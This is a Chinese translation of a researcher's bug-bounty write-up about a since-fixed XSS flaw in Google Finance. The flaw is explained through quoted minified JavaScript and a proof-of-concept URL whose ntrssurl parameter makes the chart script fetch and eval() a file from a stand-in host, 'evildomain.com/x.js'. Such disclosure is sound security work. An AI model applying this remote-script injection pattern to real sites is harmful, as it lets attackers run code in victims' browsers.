案例分析---我是如何在谷歌财经发现一个XSS漏洞

我是如何在谷歌财经发现一个XSS漏洞

 本文由 伯乐在线 -伯乐在线读者 翻译自Michele Spagnuolo。转载请参见文章末尾处的要求。

 

导读:我们在6月13日发了一篇资讯,说“Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元”。7月30日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。

 

       这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe-opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。

       这个过程不需要用户交互,只要点击一下URL就可以了。

 

复现步骤:

1)点击该URL(目前已修复):

https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https:/evildomain.com/x.js.

       文件x.js包含下列验证代码用来演示:

alert(document.domain);

       该文件必须通过https来托管。

2)远程Javascript被执行。

 

工作原理

       以下是 /finance/f/sfe-opt.js中的两个代码片段,它们引起了这个安全问题。

c.push("ntsp="); 
c.push(b); 
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || ""))); 
return c.join("")

       在上面这段代码中,URL参数,更确切的说是ntrssurl参数(用户RSS源的地址)被获取并进行了连接。

Xi.prototype.send = function (a, b, c, d) { 
    a = a || null; 
    d = d || "_" + (Yi++).toString(36) + x().toString(36); 
    n._callbacks_ || (n._callbacks_ = {}); 
    var e = this.$s.Z(); 
    if (a) 
        for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]); 
    b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d)); 
    b = Wi(e.toString(), { 
        timeout: this.We, 
        Ns: !0 
    }); 
    Si(b, null, $i(d, a, c), void 0); 
    return { 
        La: d, 
        Du: b 
    } 
};


       第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。

       它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。

       然后,返回了一段简单的Javascript代码,并且通过eval()方法将其执行。

图1

触发XSS漏洞的截图

callback 请求截图

有漏洞的代码片段

       这个安全隐患很快就被修复了,我因此得到了5000美元的奖励。

       非常感谢,Google安全小组!

 


 

原文链接: Michele Spagnuolo 翻译: 伯乐在线 - 伯乐在线读者
译文链接: http://blog.jobbole.com/44953/
[ 转载必须在正文中标注并保留原文链接、译文链接和译者等信息。]



 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值